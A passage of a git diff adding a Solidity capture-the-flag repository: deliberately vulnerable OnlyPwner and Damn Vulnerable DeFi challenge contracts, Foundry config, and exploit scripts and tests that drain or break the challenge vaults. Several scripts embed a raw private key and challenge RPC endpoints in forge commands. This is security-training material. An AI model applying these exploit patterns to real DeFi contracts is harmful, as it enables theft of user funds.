"./ReentrancyGuard.sol"; +import { IMintableERC20 } from "./interfaces/IMintableERC20.sol"; +import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; + +contract Farming is ReentrancyGuard, IFarming { + IWETH public WETH; + IMintableERC20 public VUL; + IOracle public ORACLE; + IUniswapV2Router02 public UNISWAPV2_ROUTER02; + + mapping(address => uint256) public shares; + uint256 public totalShares = 0; + + uint256 lastAccumulateTimestamp; + uint256 yieldVulPerSecond; + + constructor(address _vul, address _weth, address _oracle, address _router, uint256 _yieldVulPerSecond) { + VUL = IMintableERC20(_vul); + WETH = IWETH(_weth); + ORACLE = IOracle(_oracle); + UNISWAPV2_ROUTER02 = IUniswapV2Router02(_router); + yieldVulPerSecond = _yieldVulPerSecond; + lastAccumulateTimestamp = block.timestamp; + } + + function deposit(uint256 amount) external nonReentrant { + require(amount > 0, "Farming: Amount must be greater than 0"); + + // TODO: Allow users to specify the path here too? + accumulateYield(getDefaultPath()); + + uint256 currentBalance = WETH.balanceOf(address(this)); + uint256 currentShares = totalShares; + + uint256 newShares; + if (currentShares == 0) { + newShares = amount; + } else { + newShares = (amount * currentShares) / currentBalance; + } + + shares[msg.sender] += newShares; + totalShares += newShares; + + // This should be fine since we are hardcoded to WETH. + WETH.transferFrom(msg.sender, address(this), amount); + } + + function withdraw(uint256 sharesAmount) external nonReentrant { + require(sharesAmount > 0, "Farming: Amount must be greater than 0"); + + accumulateYield(getDefaultPath()); + + uint256 currentBalance = WETH.balanceOf(address(this)); + uint256 payoutAmount = (sharesAmount * currentBalance) / totalShares; + + shares[msg.sender] -= sharesAmount; + totalShares -= sharesAmount; + + WETH.transfer(msg.sender, payoutAmount); + } + + function accumulateYield(address[] memory path) public { + uint256 secs = block.timestamp - lastAccumulateTimestamp; + uint256 yield = secs * yieldVulPerSecond; + + if (yield == 0) { + // Save some gas if there is no yield to accumulate. + return; + } + + lastAccumulateTimestamp = block.timestamp; + + VUL.mint(address(this), yield); + swapYieldToWeth(path); + } + + function swapYieldToWeth(address[] memory path) private { + require(path.length > 1, "Farming: Path must have at least 2 elements"); + require(path[0] == address(VUL), "Farming: Path must start with VUL"); + require(path[path.length - 1] == address(WETH), "Farming: Path must end with WETH"); + + uint256 amount = VUL.balanceOf(address(this)); + // We are fine with any path as long as it has a better price. + // The oracle is pinned to the VUL-WETH pair, so if another path works + // based on the below formula, it is guaranteed that the price is better. + uint256 expectedWethAmount = (ORACLE.vulToWethPrice() * amount) / 1e18; + + VUL.approve(address(UNISWAPV2_ROUTER02), amount); + UNISWAPV2_ROUTER02.swapExactTokensForTokensSupportingFeeOnTransferTokens( + amount, expectedWethAmount, path, address(this), block.timestamp + ); + } + + function getDefaultPath() private view returns (address[] memory) { + address[] memory path = new address[](2); + path[0] = address(VUL); + path[1] = address(WETH); + return path; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol new file mode 100644 index 0000000..b5e9308 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { IOracle } from "./interfaces/IOracle.sol"; + +/// @dev For now, this is just an admin oracle. +/// @dev At some point, this will be made more decentralized. +contract Oracle is IOracle { + address public owner; + uint256 public vulToWethPrice; + + constructor() { + owner = msg.sender; + } + + /// @dev In practice, this will be called by the owner of the contract + /// @dev and pinned to the WETH-VUL pair on Uniswap. + function setVulToWethPrice(uint256 _price) external { + require(msg.sender == owner, "Oracle: Only owner can set price"); + vulToWethPrice = _price; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol new file mode 100644 index 0000000..5aee33a --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract ReentrancyGuard { + bool private entered; + + modifier nonReentrant() { + require(!entered, "ReentrancyGuard: reentrant call"); + entered = true; + _; + entered = false; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol new file mode 100644 index 0000000..f9f8cd1 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IFarming { + function deposit(uint256 amount) external; + function withdraw(uint256 sharesAmount) external; + function accumulateYield(address[] memory path) external; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol new file mode 100644 index 0000000..6fe0b86 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IMintableERC20 { + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + function transfer(address recipient, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function mint(address to, uint256 amount) external; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol new file mode 100644 index 0000000..cf99177 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IOracle { + function owner() external view returns (address); + function vulToWethPrice() external view returns (uint256); + function setVulToWethPrice(uint256 _vulPriceInEth) external; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol new file mode 100644 index 0000000..234c9c3 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IWETH { + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + function transfer(address recipient, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function deposit() external payable; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol new file mode 100644 index 0000000..e9d2055 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20 } from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; + +contract MintableERC20 is ERC20 { + address public owner; + + constructor(string memory name, string memory symbol) ERC20(name, symbol) { + owner = msg.sender; + } + + function mint(address to, uint256 amount) external { + require(msg.sender == owner, "MintableERC20: Only owner can mint"); + _mint(to, amount); + } + + function transferOwnership(address newOwner) external { + require(msg.sender == owner, "MintableERC20: Only owner can transfer ownership"); + owner = newOwner; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol new file mode 100644 index 0000000..7aad161 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +// Unchanged (apart from new compiler version & syntax) from original at: +// https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code + +// Copyright (C) 2015, 2016, 2017 Dapphub + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.0; + +contract WETH9 { + string public name = "Wrapped Ether"; + string public symbol = "WETH"; + uint8 public decimals = 18; + + event Approval(address indexed src, address indexed guy, uint256 wad); + event Transfer(address indexed src, address indexed dst, uint256 wad); + event Deposit(address indexed dst, uint256 wad); + event Withdrawal(address indexed src, uint256 wad); + + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + receive() external payable { + deposit(); + } + + function deposit() public payable { + balanceOf[msg.sender] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + function withdraw(uint256 wad) public { + require(balanceOf[msg.sender] >= wad); + balanceOf[msg.sender] -= wad; + payable(msg.sender).transfer(wad); + emit Withdrawal(msg.sender, wad); + } + + function totalSupply() public view returns (uint256) { + return address(this).balance; + } + + function approve(address guy, uint256 wad) public returns (bool) { + allowance[msg.sender][guy] = wad; + emit Approval(msg.sender, guy, wad); + return true; + } + + function transfer(address dst, uint256 wad) public returns (bool) { + return transferFrom(msg.sender, dst, wad); + } + + function transferFrom(address src, address dst, uint256 wad) public returns (bool) { + require(balanceOf[src] >= wad); + + if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) { + require(allowance[src][msg.sender] >= wad); + allowance[src][msg.sender] -= wad; + } + + balanceOf[src] -= wad; + balanceOf[dst] += wad; + + emit Transfer(src, dst, wad); + + return true; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol new file mode 100644 index 0000000..d0e5d0d --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +// This file is only here to handle a workaround +// regarding different compiler versions. +// +// It can be safely ignored for the challenge. +// pragma solidity ^0.6.6; + +// import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol"; + +// contract CompileUniRouter {} diff --git a/contracts/CTF/ONLYPWNER/12.PAYDAY.sol b/contracts/CTF/ONLYPWNER/12.PAYDAY.sol new file mode 100644 index 0000000..a426ab6 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/12.PAYDAY.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +library MerkleProof { + function verifyProof(bytes32 leaf, bytes32 root, bytes32[] memory proof) external pure returns (bool) { + bytes32 currentHash = leaf; + for (uint256 i = 0; i < proof.length; i++) { + currentHash = _hash(currentHash, proof[i]); + } + return currentHash == root; + } + + function _hash(bytes32 a, bytes32 b) private pure returns (bytes32) { + return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a)); + } +} + +interface IDistributor { + function withdraw(bytes calldata params, bytes32[] calldata proof) external; + function root() external view returns (bytes32); + function hasClaimed(address account) external view returns (bool); +} + +contract Distributor is IDistributor { + bytes32 public root; + mapping(address => bool) public hasClaimed; + + constructor(bytes32 _root) payable { + root = _root; + } + + function withdraw(bytes calldata params, bytes32[] calldata proof) external { + require(params.length == 64, "invalid params"); + + bytes32 leaf = keccak256(params); + require(MerkleProof.verifyProof(leaf, root, proof), "invalid proof"); + + (address recipient, uint72 amount, uint184 validUntil) = decodeParams(params); + + require(!hasClaimed[recipient], "already claimed"); + require(validUntil >= block.timestamp, "expired"); + + hasClaimed[recipient] = true; + (bool success,) = recipient.call{ value: amount }(""); + require(success, "failed to send ether"); + } + + function decodeParams(bytes memory params) private pure returns (address, uint72, uint184) { + bytes32 first; + bytes32 second; + + assembly { + first := mload(add(params, 0x20)) + second := mload(add(params, 0x40)) + } + + address recipient = address(uint160(uint256(first))); + uint72 amount = uint72(uint256(second) >> 184); + uint184 validUntil = uint184(uint256(second) >> 72); + + return (recipient, amount, validUntil); + } +} diff --git a/contracts/DeFi/.gitkeep b/contracts/DeFi/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/foundry.toml b/foundry.toml new file mode 100644 index 0000000..c078512 --- /dev/null +++ b/foundry.toml @@ -0,0 +1,67 @@ +# Full reference https://github.com/foundry-rs/foundry/tree/master/config + +[profile.default] + auto_detect_solc = false + block_timestamp = 1_680_220_800 # March 31, 2023 at 00:00 GMT + bytecode_hash = "none" + cbor_metadata = false + evm_version = "paris" # See https://www.evmdiff.com/features?name=PUSH0&kind=opcode + fuzz = { runs = 1_000 } + gas_reports = ["*"] + optimizer = true + optimizer_runs = 10_000 + solc = "0.8.21" + src = "contracts" + libs = ["foundry/lib"] + test = "foundry/test" + script = "foundry/script" + out = "foundry/out" + broadcast = 'foundry/broadcast' + cache_path = 'foundry/cache' + + +[profile.ci] + fuzz = { runs = 10_000 } + verbosity = 4 + +[etherscan] + mainnet = { key = "${API_KEY_ETHERSCAN}" } + arbitrum_one = { key = "${API_KEY_ARBISCAN}" } + avalanche = { key = "${API_KEY_SNOWTRACE}" } + bnb_smart_chain = { key = "${API_KEY_BSCSCAN}" } + gnosis_chain = { key = "${API_KEY_GNOSISSCAN}" } + goerli = { key = "${API_KEY_ETHERSCAN}" } + optimism = { key = "${API_KEY_OPTIMISTIC_ETHERSCAN}" } + polygon = { key = "${API_KEY_POLYGONSCAN}" } + sepolia = { key = "${API_KEY_ETHERSCAN}" } + +[fmt] + bracket_spacing = true + int_types = "long" + line_length = 120 + multiline_func_header = "all" + number_underscore = "thousands" + quote_style = "double" + tab_width = 4 + wrap_comments = true + +[rpc_endpoints] + localhost = "http://localhost:8545" + + mainnet = "https://eth-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + goerli = "https://eth-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + sepolia = "https://eth-sepolia.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + holesky = "https://ethereum-holesky.publicnode.com" + + polygon = "https://polygon-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + mumbai = "https://polygon-mumbai.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + + base_mainnet = "https://base-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + base_goerli = "https://base-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + + arbitrum_mainnet = "https://arb-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + arbitrum_goerli = "https://arb-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + + optimism_mainnet = "https://opt-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + optimism_goerli = "https://opt-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + diff --git a/foundry/script/.gitkeep b/foundry/script/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/foundry/script/CTF/.gitkeep b/foundry/script/CTF/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol b/foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol new file mode 100644 index 0000000..cc697a9 --- /dev/null +++ b/foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import { Script } from "@dev/forge-std/src/Script.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { Tutorial, TutorialExploit } from "@contracts/CTF/ONLYPWNER/02.TUTORIAL.sol"; + +/* + +forge script \ + foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol:TUTORIAL_01_Exploit \ + --rpc-url https://nodes.onlypwner.xyz/rpc/42b2c243-c01f-4de0-a521-7856279a2ab2 \ + --private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ + --with-gas-price 0 \ + -vvvv --broadcast +*/ + +contract TUTORIAL_01_Exploit is Script { + Tutorial private victimInstance; + TutorialExploit private exploitInstance; + + function _localSetup() public { + victimInstance = new Tutorial{value: 10 ether}(); + // victimInstance.deposit{ value: 10 ether }(); + } + + function run() public { + vm.startBroadcast(); + bool isDEV = false; + // 1. Local DEV SET UP + if (isDEV) _localSetup(); + // 2. Challenge SET UP + else victimInstance = Tutorial(address(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88)); + + console2.log("ONLYPWNER CTF Challenge 1 Before Valut Balance:", address(victimInstance).balance); + console2.log("ONLYPWNER CTF Challenge 1 Before Attacker:", tx.origin); + console2.log("ONLYPWNER CTF Challenge 1 Before Attacker Balance:", address(tx.origin).balance); + + // Attack + exploitInstance = new TutorialExploit(address(victimInstance)); + exploitInstance.attack(); + + _check(); + vm.stopBroadcast(); + } + + function _check() public view { + console2.log("ONLYPWNER CTF Challenge 1 After Balance:", address(victimInstance).balance); + require(address(victimInstance).balance == 0, "Challenge 1 is not solved"); + } +} diff --git a/foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol b/foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol new file mode 100644 index 0000000..ee66fd9 --- /dev/null +++ b/foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import { Script } from "@dev/forge-std/src/Script.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { Vault } from "@contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol"; + +/* +forge script \ + foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol:REVERSE_RUGPULL_03_Exploit \ + --private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ + --with-gas-price 0 \ + -vvvv \ + --rpc-url https://nodes.onlypwner.xyz/rpc/88f62c50-d4a5-4050-bc32-f5e5c930910d \ + --broadcast +*/ + +contract REVERSE_RUGPULL_03_Exploit is Script { + Vault private victimInstance; + // WrappedEtherExploit private exploitInstance; + address attackerAddress = address(0x34788137367a14f2C4D253F9a6653A93adf2D234); + + function run() public { + victimInstance = Vault(0x91B617B86BE27D57D8285400C5D5bAFA859dAF5F); + vm.startBroadcast(); + + // Attack ... + victimInstance.token().approve(address(victimInstance), type(uint256).max); + victimInstance.deposit(0.1 ether); + victimInstance.token().transfer(address(victimInstance), 0.5 ether); + victimInstance.deposit(0.1 ether); + + vm.stopBroadcast(); + } +} diff --git a/foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol b/foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol new file mode 100644 index 0000000..2d0d910 --- /dev/null +++ b/foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import { Script } from "@dev/forge-std/src/Script.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { Vault, IVault, VaultExploit } from "@contracts/CTF/ONLYPWNER/01.FREEBIE.sol"; + +/* + +forge script \ + foundry/script/CTF/ONLYPWNER/01.FREEBIE.s.sol:FREEBIE_05_Exploit \ + --rpc-url https://nodes.onlypwner.xyz/rpc/fc49f74c-8fbf-492e-9bbc-5c32fea00c21 \ + --private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ + --with-gas-price 0 \ + -vvvv --broadcast +*/ + +contract FREEBIE_05_Exploit is Script { + Vault private victimInstance; + VaultExploit private exploitInstance; + + function _localSetup() public { + victimInstance = new Vault(); + victimInstance.deposit{ value: 10 ether }(); + } + + function run() public { + vm.startBroadcast(); + bool isDEV = false; + // 1. Local DEV SET UP + if (isDEV) _localSetup(); + // 2. Challenge SET UP + else victimInstance = Vault(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88); + + console2.log("ONLYPWNER CTF Challenge 1 Before Valut Balance:", address(victimInstance).balance); + console2.log("ONLYPWNER CTF Challenge 1 Before Attacker:", tx.origin); + console2.log("ONLYPWNER CTF Challenge 1 Before Attacker Balance:", address(tx.origin).balance); + + // Attack + exploitInstance = new VaultExploit(address(victimInstance)); + exploitInstance.attack(); + + _check(); + vm.stopBroadcast(); + } + + function _check() public view { + console2.log("ONLYPWNER CTF Challenge 1 After Balance:", address(victimInstance).balance); + require(address(victimInstance).balance == 0, "Challenge 1 is not solved"); + } +} diff --git a/foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol b/foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol new file mode 100644 index 0000000..af16708 --- /dev/null +++ b/foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import { Script } from "@dev/forge-std/src/Script.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { WrappedEther, WrappedEtherExploit } from "@contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol"; + +/* + +forge script \ + foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol:WRAPPED_ETHER_05_Exploit \ + --private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ + --with-gas-price 0 \ + -vvvv \ + --rpc-url https://nodes.onlypwner.xyz/rpc/894fd86c-c04b-49c2-8650-78eb4ba7aaf6 \ + --broadcast + +*/ + +contract WRAPPED_ETHER_05_Exploit is Script { + WrappedEther private victimInstance; + WrappedEtherExploit private exploitInstance; + address attackerAddress = address(0x34788137367a14f2C4D253F9a6653A93adf2D234); + + function run() public { + victimInstance = WrappedEther(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88); + vm.startBroadcast(); + + // Attack + WrappedEtherExploit hackInst = new WrappedEtherExploit(address(victimInstance)); + hackInst.attack{ value: 1 ether }(); + + vm.stopBroadcast(); + _check(); + } + + function _check() public view { + require(address(victimInstance).balance == 0, "Not solved: WETH have ether"); + } +} diff --git a/foundry/test/.gitkeep b/foundry/test/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol new file mode 100644 index 0000000..1aac0f5 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { ReceiverUnstoppable, UnstoppableVault } from "@contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol -vvvvv +*/ + +/* solhint-disable reentrancy */ +contract Challenge_1_Unstoppable_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + DamnValuableToken private token; + UnstoppableVault private vault; + ReceiverUnstoppable private receiver; + + uint256 private TOKENS_IN_VAULT = 1_000_000 ether; + uint256 private INITIAL_PLAYER_TOKEN_BALANCE = 10 ether; + + function setUp() public { + vm.startPrank(deployer); + _before(); + vm.stopPrank(); + + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + vault = new UnstoppableVault(token, deployer, feeRecipient); + assertEq(vault.feeRecipient(), feeRecipient); + + token.approve(address(vault), TOKENS_IN_VAULT); + vault.deposit(TOKENS_IN_VAULT, address(this)); + assertEq(token.balanceOf(address(vault)), TOKENS_IN_VAULT, ""); + assertEq(vault.totalAssets(), TOKENS_IN_VAULT, ""); + assertEq(vault.totalSupply(), TOKENS_IN_VAULT, ""); + assertEq(vault.maxFlashLoan(address(token)), TOKENS_IN_VAULT, ""); + assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT - 1), 0, ""); + assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT), 50_000 ether, ""); + + token.transfer(player, INITIAL_PLAYER_TOKEN_BALANCE); + assertEq(token.balanceOf(player), INITIAL_PLAYER_TOKEN_BALANCE); + + receiver = new ReceiverUnstoppable(address(vault)); + receiver.executeFlashLoan(100 ether); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + token.transfer(address(vault), 1); + /* END CODE YOUR SOLUTION */ + + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + vm.expectRevert(UnstoppableVault.InvalidBalance.selector); + receiver.executeFlashLoan(100 ether); + vm.stopPrank(); + } +} +/* solhint-enable reentrancy */ diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol new file mode 100644 index 0000000..3de98da --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { + FlashLoanReceiver, + NaiveReceiverLenderPool, + NaiveReceiverHack +} from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol"; + +/* + https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ + + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol -vvvvv +*/ + +contract Challenge_2_Naive_ReceiverTest is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + NaiveReceiverLenderPool private pool; + FlashLoanReceiver private receiver; + + uint256 private ETHER_IN_POOL = 1000 ether; + uint256 private ETHER_IN_RECEIVER = 10 ether; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + + pool = new NaiveReceiverLenderPool(); + (bool isSuccess,) = address(pool).call{ value: ETHER_IN_POOL }(""); + assertTrue(isSuccess, ""); + + assertEq(address(pool).balance, ETHER_IN_POOL, ""); + assertEq(pool.maxFlashLoan(pool.ETH()), ETHER_IN_POOL, ""); + assertEq(pool.flashFee(pool.ETH(), 0), 1 ether, ""); + + receiver = new FlashLoanReceiver(address(pool)); + (isSuccess,) = address(receiver).call{ value: ETHER_IN_RECEIVER }(""); + assertTrue(isSuccess, ""); + + // vm.expectRevert(); + // receiver.onFlashLoan(deployer, pool.ETH(), ETHER_IN_RECEIVER, 1 ether, ""); + assertEq(address(receiver).balance, ETHER_IN_RECEIVER, "ETHER_IN_RECEIVER"); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + // for (uint256 i = 0; i < 10; i++) { + // pool.flashLoan(receiver, pool.ETH(), 0, "0x"); + // } + NaiveReceiverHack hackInst = new NaiveReceiverHack(payable(pool), payable(receiver)); + hackInst.attack(); + /* END CODE YOUR SOLUTION */ + + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + assertEq(address(receiver).balance, 0, "Receiver Balance"); + assertEq(address(pool).balance, ETHER_IN_POOL + ETHER_IN_RECEIVER, "Pool Balance"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol new file mode 100644 index 0000000..fb7126a --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { TrusterLenderPool } from "@contracts/CTF/Damn-Vulnerable-DeFi/03.Truster.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol -vvvvv +*/ + +contract Challenge_3_Truster_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + TrusterLenderPool private pool; + DamnValuableToken private token; + uint256 private TOKENS_IN_POOL = 1_000_000 ether; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + pool = new TrusterLenderPool(token); + token.transfer(address(pool), TOKENS_IN_POOL); + assertEq(pool.token().balanceOf(address(pool)), TOKENS_IN_POOL, ""); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + + // cast abi-encode "approve(address,uint256)" 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 1 + bytes memory _callData = abi.encodeWithSignature("approve(address,uint256)", 